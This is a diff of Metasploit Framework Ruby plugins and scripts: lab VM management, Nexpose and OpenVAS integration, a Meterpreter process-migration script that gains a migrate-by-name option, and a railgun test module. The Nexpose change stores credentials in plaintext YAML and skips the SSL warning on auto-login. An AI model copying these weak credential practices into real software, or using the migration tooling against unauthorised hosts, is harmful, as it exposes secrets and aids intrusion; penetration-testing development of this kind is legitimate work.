@ -201,10 +303,10 @@ class Plugin::Lab < Msf::Plugin
|
|||
@controller.each{ |vm| vm.reset }
|
||||
else
|
||||
args.each do |arg|
|
||||
if @controller.includes_vmid? arg
|
||||
if @controller.find_by_vmid(arg).running?
|
||||
if @controller.includes_hostname? arg
|
||||
if @controller.find_by_hostname(arg).running?
|
||||
print_line "Resetting lab vm #{arg}."
|
||||
@controller.find_by_vmid(arg).reset
|
||||
@controller.find_by_hostname(arg).reset
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -220,10 +322,10 @@ class Plugin::Lab < Msf::Plugin
|
|||
print_line "Snapshotting all lab vms to snapshot: #{snapshot}."
|
||||
@controller.each{ |vm| vm.create_snapshot(snapshot) }
|
||||
else
|
||||
args[0..-2].each do |vmid_arg|
|
||||
next unless @controller.includes_vmid? vmid_arg
|
||||
print_line "Snapshotting #{vmid_arg} to snapshot: #{snapshot}."
|
||||
@controller[vmid_arg].create_snapshot(snapshot)
|
||||
args[0..-2].each do |name_arg|
|
||||
next unless @controller.includes_hostname? name_arg
|
||||
print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}."
|
||||
@controller[name_arg].create_snapshot(snapshot)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -237,10 +339,10 @@ class Plugin::Lab < Msf::Plugin
|
|||
print_line "Reverting all lab vms to snapshot: #{snapshot}."
|
||||
@controller.each{ |vm| vm.revert_snapshot(snapshot) }
|
||||
else
|
||||
args[0..-2].each do |vmid_arg|
|
||||
next unless @controller.includes_vmid? vmid_arg
|
||||
print_line "Reverting #{vmid_arg} to snapshot: #{snapshot}."
|
||||
@controller[vmid_arg].revert_snapshot(snapshot)
|
||||
args[0..-2].each do |name_arg|
|
||||
next unless @controller.includes_hostname? name_arg
|
||||
print_line "Reverting #{name_arg} to snapshot: #{snapshot}."
|
||||
@controller[name_arg].revert_snapshot(snapshot)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -253,16 +355,48 @@ class Plugin::Lab < Msf::Plugin
|
|||
print_line "Running command #{command} on all vms."
|
||||
@controller.each do |vm|
|
||||
if vm.running?
|
||||
print_line "#{vm.vmid} running command: #{command}."
|
||||
print_line "#{vm.hostname} running command: #{command}."
|
||||
vm.run_command(command)
|
||||
end
|
||||
end
|
||||
else
|
||||
args[0..-2].each do |name_arg|
|
||||
next unless @controller.includes_hostname? name_arg
|
||||
if @controller[name_arg].running?
|
||||
print_line "#{name_arg} running command: #{command}."
|
||||
@controller[name_arg].run_command(command)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Command: lab_upload [vmids] [from] [to]
|
||||
#
|
||||
# Description: Uploads a file to the guest(s)
|
||||
#
|
||||
# Quirks: Pass "all" as a vmid to have it operate on all vms.
|
||||
#
|
||||
def cmd_lab_upload(*args)
|
||||
return lab_usage if args.empty?
|
||||
return lab_usage if args.count < 3
|
||||
|
||||
local_path = args[args.count-2]
|
||||
vm_path = args[args.count-1]
|
||||
|
||||
if args[0] == "all"
|
||||
@controller.each do |vm|
|
||||
if vm.running?
|
||||
print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}"
|
||||
vm.copy_to_guest(local_path, vm_path)
|
||||
end
|
||||
end
|
||||
else
|
||||
args[0..-2].each do |vmid_arg|
|
||||
next unless @controller.includes_vmid? vmid_arg
|
||||
if @controller[vmid_arg].running?
|
||||
print_line "#{vmid_arg} running command: #{command}."
|
||||
@controller[vmid_arg].run_command(command)
|
||||
print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}"
|
||||
@controller[vmid_arg].copy_to_guest(local_path, vm_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -275,16 +409,16 @@ class Plugin::Lab < Msf::Plugin
|
|||
print_line "Opening: #{uri} on all vms."
|
||||
@controller.each do |vm|
|
||||
if vm.running?
|
||||
print_line "#{vm.vmid} opening to uri: #{uri}."
|
||||
print_line "#{vm.hostname} opening to uri: #{uri}."
|
||||
vm.open_uri(uri)
|
||||
end
|
||||
end
|
||||
else
|
||||
args[0..-2].each do |vmid_arg|
|
||||
next unless @controller.includes_vmid? vmid_arg
|
||||
if @controller[vmid_arg].running?
|
||||
print_line "#{vmid_arg} opening to uri: #{uri}."
|
||||
@controller[vmid_arg].open_uri(uri)
|
||||
args[0..-2].each do |name_arg|
|
||||
next unless @controller.includes_hostname? name_arg
|
||||
if @controller[name_arg].running?
|
||||
print_line "#{name_arg} opening to uri: #{uri}."
|
||||
@controller[name_arg].open_uri(uri)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -347,14 +481,13 @@ class Plugin::Lab < Msf::Plugin
|
|||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Available Lab VMs',
|
||||
'Indent' => indent.length,
|
||||
'Columns' => [ 'Vmid', 'Name', 'Location', "Power?" ]
|
||||
'Columns' => [ 'Hostname', 'Driver', 'Type' ]
|
||||
)
|
||||
|
||||
@controller.each do |vm|
|
||||
tbl << [ vm.vmid,
|
||||
vm.name,
|
||||
vm.location,
|
||||
vm.running?]
|
||||
tbl << [ vm.hostname,
|
||||
vm.driver.class,
|
||||
vm.type]
|
||||
end
|
||||
|
||||
print_line tbl.to_s
|
||||
|
@ -366,14 +499,14 @@ class Plugin::Lab < Msf::Plugin
|
|||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Running Lab VMs',
|
||||
'Indent' => indent.length,
|
||||
'Columns' => [ 'Vmid', 'Name', 'Location', 'Power?' ]
|
||||
'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ]
|
||||
)
|
||||
|
||||
@controller.each do |vm|
|
||||
if vm.running?
|
||||
tbl << [ vm.vmid,
|
||||
vm.name,
|
||||
vm.location,
|
||||
tbl << [ vm.hostname,
|
||||
vm.driver.class,
|
||||
vm.type,
|
||||
vm.running?]
|
||||
end
|
||||
end
|
||||
|
@ -390,6 +523,8 @@ class Plugin::Lab < Msf::Plugin
|
|||
# inheriting from Msf::Plugin to ensure that the framework attribute on
|
||||
# their instance gets set.
|
||||
#
|
||||
attr_accessor :controller
|
||||
|
||||
def initialize(framework, opts)
|
||||
super
|
||||
|
||||
|
|
|
@ -10,6 +10,8 @@
|
|||
require 'rapid7/nexpose'
|
||||
|
||||
module Msf
|
||||
Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds
|
||||
|
||||
class Plugin::Nexpose < Msf::Plugin
|
||||
class NexposeCommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
@ -21,6 +23,7 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
def commands
|
||||
{
|
||||
'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )",
|
||||
'nexpose_save' => "Save credentials to a Nexpose instance",
|
||||
'nexpose_activity' => "Display any active scan jobs on the Nexpose instance",
|
||||
|
||||
'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results",
|
||||
|
@ -62,9 +65,48 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
true
|
||||
end
|
||||
|
||||
def cmd_nexpose_save(*args)
|
||||
#if we are logged in, save session details to nexpose.yaml
|
||||
if args[0] == "-h"
|
||||
print_status("Usage: ")
|
||||
print_status(" nexpose_save")
|
||||
return
|
||||
end
|
||||
|
||||
if args[0]
|
||||
print_status("Usage: ")
|
||||
print_status(" nexpose_save")
|
||||
return
|
||||
end
|
||||
|
||||
group = "default"
|
||||
|
||||
if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
|
||||
config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}}
|
||||
::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) }
|
||||
print_good("#{Nexpose_yaml} created.")
|
||||
else
|
||||
print_error("Missing username/password/server/port - relogin and then try again.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_nexpose_connect(*args)
|
||||
return if not nexpose_verify_db
|
||||
|
||||
if ! args[0]
|
||||
if ::File.readable?("#{Nexpose_yaml}")
|
||||
lconfig = YAML.load_file("#{Nexpose_yaml}")
|
||||
@user = lconfig['default']['username']
|
||||
@pass = lconfig['default']['password']
|
||||
@host = lconfig['default']['server']
|
||||
@port = lconfig['default']['port']
|
||||
@sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning...
|
||||
nexpose_login
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if(args.length == 0 or args[0].empty? or args[0] == "-h")
|
||||
print_status("Usage: ")
|
||||
print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>")
|
||||
|
@ -73,18 +115,18 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
return
|
||||
end
|
||||
|
||||
user = pass = host = port = sslv = nil
|
||||
@user = @pass = @host = @port = @sslv = nil
|
||||
|
||||
case args.length
|
||||
when 1,2
|
||||
cred,targ = args[0].split('@', 2)
|
||||
user,pass = cred.split(':', 2)
|
||||
@user,@pass = cred.split(':', 2)
|
||||
targ ||= '127.0.0.1:3780'
|
||||
host,port = targ.split(':', 2)
|
||||
@host,@port = targ.split(':', 2)
|
||||
port ||= '3780'
|
||||
sslv = args[1]
|
||||
@sslv = args[1]
|
||||
when 4,5
|
||||
user,pass,host,port,sslv = args
|
||||
@user,@pass,@host,@port,@sslv = args
|
||||
else
|
||||
print_status("Usage: ")
|
||||
print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>")
|
||||
|
@ -92,9 +134,12 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
print_status(" nexpose_connect username password host port <ssl-confirm>")
|
||||
return
|
||||
end
|
||||
nexpose_login
|
||||
end
|
||||
|
||||
def nexpose_login
|
||||
|
||||
if ! ((user and user.length > 0) and (host and host.length > 0) and (port and port.length > 0 and port.to_i > 0) and (pass and pass.length > 0))
|
||||
if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0))
|
||||
print_status("Usage: ")
|
||||
print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>")
|
||||
print_status(" -OR- ")
|
||||
|
@ -102,7 +147,7 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
return
|
||||
end
|
||||
|
||||
if(host != "localhost" and host != "127.0.0.1" and sslv != "ok")
|
||||
if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok")
|
||||
print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker")
|
||||
print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose")
|
||||
print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'")
|
||||
|
@ -119,8 +164,8 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
end
|
||||
|
||||
begin
|
||||
print_status("Connecting to Nexpose instance at #{host}:#{port} with username #{user}...")
|
||||
nsc = ::Nexpose::Connection.new(host, user, pass, port)
|
||||
print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...")
|
||||
nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port)
|
||||
nsc.login
|
||||
rescue ::Nexpose::APIError => e
|
||||
print_error("Connection failed: #{e.reason}")
|
||||
|
@ -305,7 +350,7 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"],
|
||||
"-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass[@host[:port]]"],
|
||||
"-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"],
|
||||
"-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"],
|
||||
"-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"],
|
||||
"-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"],
|
||||
|
@ -343,7 +388,7 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
when "-s"
|
||||
opt_savexml = val
|
||||
when "-c"
|
||||
if (val =~ /^([^:]+):([^:]+):([^:]+)/)
|
||||
if (val =~ /^([^:]+):([^:]+):(.+)/)
|
||||
type, user, pass = [ $1, $2, $3 ]
|
||||
newcreds = Nexpose::AdminCredentials.new
|
||||
newcreds.setCredentials(type, nil, nil, user, pass, nil)
|
||||
|
@ -380,10 +425,10 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
|
||||
possible_files = opt_ranges # don't allow DOS by circular reference
|
||||
possible_files.each do |file|
|
||||
if ::File.exist? file
|
||||
if ::File.readable? file
|
||||
print_status "Parsing ranges from #{file}"
|
||||
range_list = ::File.open(file,"r").read.split("\n")
|
||||
range_list.each{ |subrange| opt_ranges << subrange}
|
||||
range_list = ::File.open(file,"rb") {|f| f.read f.stat.size}
|
||||
range_list.each_line { |subrange| opt_ranges << subrange}
|
||||
opt_ranges.delete(file)
|
||||
end
|
||||
end
|
||||
|
@ -515,11 +560,9 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
|
||||
if(opt_savexml)
|
||||
::FileUtils.mkdir_p(opt_savexml)
|
||||
path = File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml")
|
||||
path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml")
|
||||
print_status(" >> Saving scan data into #{path}") if opt_verbose
|
||||
::File.open(path, "wb") do |fd|
|
||||
fd.write(data)
|
||||
end
|
||||
::File.open(path, "wb") { |fd| fd.write(data) }
|
||||
end
|
||||
|
||||
process_nexpose_data(report_format, data)
|
||||
|
@ -625,4 +668,3 @@ class Plugin::Nexpose < Msf::Plugin
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -263,9 +263,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of targets")
|
||||
print_good "\n"
|
||||
print_good tbl.to_s
|
||||
print_good "\n"
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
rescue OpenVASOMP::OMPError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
@ -328,9 +328,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of tasks")
|
||||
print_good "\n"
|
||||
print_good tbl.to_s
|
||||
print_good "\n"
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
rescue OpenVASOMP::OMPError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
@ -427,9 +427,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of configs")
|
||||
print_good "\n"
|
||||
print_good tbl.to_s
|
||||
print_good "\n"
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
rescue OpenVASOMP::OMPError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
@ -450,9 +450,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of report formats")
|
||||
print_good "\n"
|
||||
print_good tbl.to_s
|
||||
print_good "\n"
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
rescue OpenVASOMP::OMPError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
@ -473,9 +473,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of reports")
|
||||
print_good "\n"
|
||||
print_good tbl.to_s
|
||||
print_good "\n"
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
rescue OpenVASOMP::OMPError => e
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
|
|
@ -9,13 +9,16 @@
|
|||
spawn = false
|
||||
kill = false
|
||||
target_pid = nil
|
||||
target_name = nil
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-f" => [ false, "Launch a process and migrate into the new process"],
|
||||
"-p" => [ true , "PID to migrate to."],
|
||||
"-k" => [ false, "Kill original process."]
|
||||
"-k" => [ false, "Kill original process."],
|
||||
"-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
|
@ -24,6 +27,8 @@ opts.parse(args) { |opt, idx, val|
|
|||
kill = true
|
||||
when "-p"
|
||||
target_pid = val.to_i
|
||||
when "-n"
|
||||
target_name = val.to_s
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
|
@ -47,6 +52,7 @@ def create_temp_proc()
|
|||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
# In case no option is provided show help
|
||||
if args.length == 0
|
||||
print_line(opts.usage)
|
||||
|
@ -65,6 +71,14 @@ if client.platform =~ /win32|win64/
|
|||
target_pid = create_temp_proc
|
||||
end
|
||||
|
||||
if target_name and not target_pid
|
||||
target_pid = client.sys.process[target_name]
|
||||
if not target_pid
|
||||
print_status("Could not identify the process ID for #{target_name}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'railgun_testing',
|
||||
'Description' => %q{ This module will test railgun code used in post modules},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'kernelsmith'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
|
||||
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
|
||||
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
|
||||
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running against session #{datastore["SESSION"]}")
|
||||
print_status("Session type is #{session.type}")
|
||||
|
||||
@rg = session.railgun
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
|
||||
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("Testing Complete!")
|
||||
end
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue